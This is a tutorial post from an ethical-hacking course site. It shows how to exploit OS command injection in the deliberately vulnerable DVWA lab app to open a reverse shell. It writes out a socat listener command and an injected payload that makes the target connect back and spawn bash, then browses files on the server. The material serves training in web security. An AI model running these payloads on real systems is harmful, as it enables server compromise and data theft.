---
title: "Create a reverse shell with Socat - DVWA OS Command Injections - Cybr"
description: "Create a reverse shell with socat, which lets you run commands on the DVWA server, essentially completely compromising it."
url: https://cybr.com/ethical-hacking-archives/create-a-reverse-shell-with-socat-dvwa-os-command-injections/
---

# Create a reverse shell with Socat – DVWA OS Command Injections

In our Injection Attacks course, we perform different OS Command Injections to demonstrate how this vulnerability can be exploited in the Damn Vulnerable Web Application…

Christophe

Published July 23, 2020 · Updated May 21, 2021

In our [Injection Attacks course](https://cybr.com/courses/injection-attacks-the-free-guide/), we perform different OS Command Injections to demonstrate how this vulnerability can be exploited in the Damn Vulnerable Web Application (DVWA). Then, we kick it up a notch and create a reverse shell with socat, a powerful tool similar to netcat but with additional functionality.

## Getting the DVWA set up on Kali

If you’re here, chances are you already have the DVWA app running. If you don’t, though, here’s the [fastest way to set it up](https://cybr.com/cybersecurity-fundamentals-archives/how-to-set-up-the-dvwa-on-kali-with-docker/).

We’ll also be using Kali Linux. If you don’t have that installed, here’s the [quickest way](https://cybr.com/cybersecurity-fundamentals-archives/install-kali-on-virtualbox-the-quickest-way/) to get it up and running.

## Create a reverse shell with socat

On your host, in this case Kali, you will want to start a TCP listener. In this case, we use port 1337, but you can use a different port if you need to:

```
socat file:`tty`,raw,echo=0 tcp-listen:1337
```

[![socat TCP listener](https://media.cybr.com/2020/07/tcp-listener.jpg)](https://media.cybr.com/2020/07/tcp-listener.jpg)

Then, on the victim server, we want to connect to that port. To do that, I first need to figure out the IP address that it will connect to. So on your host, run this command in a different terminal window.

```
sudo ifconfig
```

In my case, I’m looking for `eth0`  and mine is:

```
10.0.2.15
```

[![Host INET IP](https://media.cybr.com/2020/07/host-inet-ip.jpg)](https://media.cybr.com/2020/07/host-inet-ip.jpg)

Now that I have it, I can inject this command in the application with the vulnerable input field:

```
; socat tcp-connect:10.0.2.15:1337 exec:bash,pty,stderr,setsid,sigint
```

[![Victim socat command injection](https://media.cybr.com/2020/07/victim-command.jpg)](https://media.cybr.com/2020/07/victim-command.jpg)

##
Verify the reverse shell connection

At this point, our connection should be established in the terminal window where we created the TCP listener, and we are now in the server (or in this case in the Docker container, but you get the point!).

We can run commands, like:

```
ls
```

We can navigate around…for example, I had created a text file `whoami.txt` for the lesson demonstration, so we could go find it and display its contents:

```
cd /var/www/html

ls

cat whoami.txt
```

[![Verify the reverse shell injection](https://media.cybr.com/2020/07/verify-shell-injection.jpg)](https://media.cybr.com/2020/07/verify-shell-injection.jpg)

We could read through the source code of the application, which would undoubtedly lead us to finding even more vulnerabilities, potentially some secrets, or potentially even modify the source code!

## What now?

At this point, go ahead and have fun with the reverse shell since there’s a bunch of stuff you can do.

Then, once you are sufficiently terrified of the impact that OS Command injections can have on your applications and servers, [enroll in our free course](https://cybr.com/courses/injection-attacks-the-free-guide/) to learn how to defend your own apps against this type of attack. We also cover other types of devastating injections, like SQL injections.

Happy learning!

[![Injection Attacks: The Complete 2020 Guide](https://media.cybr.com/2020/07/banner-graphic-2.jpg)](https://cybr.com/courses/injection-attacks-the-free-guide/)

[Enroll in our free Injection Attacks course](https://cybr.com/courses/injection-attacks-the-free-guide/)

## Filed under

- [Application Security](https://cybr.com/application-security-archives/)
- [Ethical Hacking](https://cybr.com/ethical-hacking-archives/)
- [Damn Vulnerable Web App](https://cybr.com/tag/damn-vulnerable-web-app/)
- [DVWA](https://cybr.com/tag/dvwa/)
- [Kali Linux](https://cybr.com/tag/kali-linux/)
- [OS Command Injections](https://cybr.com/tag/os-command-injections/)
- [Reverse Shell](https://cybr.com/tag/reverse-shell/)
- [Socat](https://cybr.com/tag/socat/)

## Comments

Loading comments…

Recommended resources

[![Explore the Networking Fundamentals course](https://media.cybr.com/2021/09/networking-fundamentals-course-logo-624x351.png)](https://cybr.com/courses/networking-fundamentals/)

## Strengthen your networking foundation

Learn how networks work before you move into advanced security topics.

[Explore Networking Fundamentals](https://cybr.com/courses/networking-fundamentals/)